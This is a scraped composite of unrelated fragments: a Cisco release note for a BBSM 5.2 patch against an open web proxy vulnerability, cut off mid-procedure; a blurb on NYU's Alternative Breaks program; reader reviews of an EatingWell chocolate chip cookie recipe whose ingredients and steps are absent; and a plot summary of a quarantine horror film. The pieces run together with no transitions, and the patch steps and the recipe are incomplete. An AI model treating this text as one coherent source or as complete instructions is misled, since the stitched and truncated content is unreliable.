Note The most current Cisco documentation for released products is available on Cisco Connection Online (CCO) at http://www.cisco.com. Online documents may contain updates and modifications made after the paper documents are printed.
•Obtaining Technical Assistance
•Obtaining Additional Publications and Information
This patch fixes a web proxy vulnerability that affects the BBSM 5.2 server. Vulnerable web proxy servers can be located by using available software tools. If the BBSM internal NIC is configured with a public IP address and this IP address becomes known, attackers could exploit this vulnerability to proxy traffic through the BBSM server.
We recommend that you install this patch for either of these conditions:
•If the internal NIC on your BBSM 5.2 server is configured with a public IP address
•If one-to-one static network address translation (NAT) is configured on the router or firewall to allow for remote management
After installing this patch, outside users will not be able to proxy through the BBSM 5.2 server.
This section describes how to install the patch by using the Webpatch utility on BBSM. Read the Before You Start section before you begin the procedure.
You can install BBSM service packs or patches locally on any BBSM server or on multiple BBSM servers from another computer in a remote location. You can transfer multiple files to the BBSM server before you install them.
Before You Start

•Use Internet Explorer. Because of known issues with Netscape Navigator, you must use Internet Explorer when using the WEBpatch utility.
•If you are using Windows 2000 Professional or XP Professional on your client, uncheck the Client for Microsoft Networks check box as described below. When you uncheck this check box, the ASP files load much more quickly. Be sure to re-check it after you install the patch.
–Choose Start > Settings > Network and Dial-up Connections. The Network and Dial-up Connections window appears.
–Right-click Local Area Connection, and from the drop-down menu, choose Properties. The Local Area Connection Properties window appears.

The Alternative Breaks Program provides students with the opportunity to learn about political and social community dynamics while becoming a catalyst for collaborative social change. Through learning and practice, students will explore the theory of integrating service, education, and reflection to create meaningful change in their communities.
Last year over 280 NYU students traveled across the world to spend their winter break, spring break and weekends working with various host communities on such issues as literacy, poverty, homelessness, racism, immigration, disaster relief, and the environment.
Our vision is a society of effective citizens: people who value the community as a priority when making life decisions. As part of the Alternative Break experience, participants will become more educated and experienced in all sides of a social issue. Upon return, they will be empowered to make more informed decisions and take meaningful action that supports a greater good. They will become contributing members of society and will weigh in on issues that impact their community.

Delicious! I had to use all white sugar because I was out of brown sugar so I added a tablespoon molasses for flavor and they are awesome...The texture is great for storage too.
Bev's Chocolate Chip Cookies
From EatingWell: Spring 2004, The Essential EatingWell Cookbook (2004), July/August 2012
EatingWell reader Beverley Sharpe of California contributed this recipe. She updated a favorite treat by cutting back on sugar and incorporating whole grains. To increase protein, she replaces the rolled oats with 1 cup almond meal.
176 Reviews for Bev's Chocolate Chip Cookies
What a great recipe. I made them for my kids who tolerate healthy food way better than my husband, and he even liked them. I substituted the almond meal for the oat flour and they have a wonderful taste and texture. I did chill the dough (after putting them on the baking sheet) for a few minutes so they wouldn't flatten too much in the oven and baked them for only 10 minutes. They look beautiful and taste great! Thanks!!
Our standard choc chip cookies from now on. The kids love them. I prefer the almond meal variation, as the combination with whole wheat pastry flour (which we use in place of all-purpose in most of our baking) gives the cookie a terrific flavor. Will try the bittersweet choc chips to tone down the sweetness a bit.
I love that they have whole-wheat flour in them. It makes them much more filling. They have a just the right amount of sweetness. I used all purpous flour instead of the ground oats and it works just as well.

After a few of the residents are viciously attacked, they try to escape with the news crew in tow, only to find that the CDC has quarantined the building. Phones, internet, televisions and cell phone access have been cut-off, and officials are not relaying information to those locked inside. When the quarantine is finally lifted, the only evidence of what took place is the news crew's videotape.
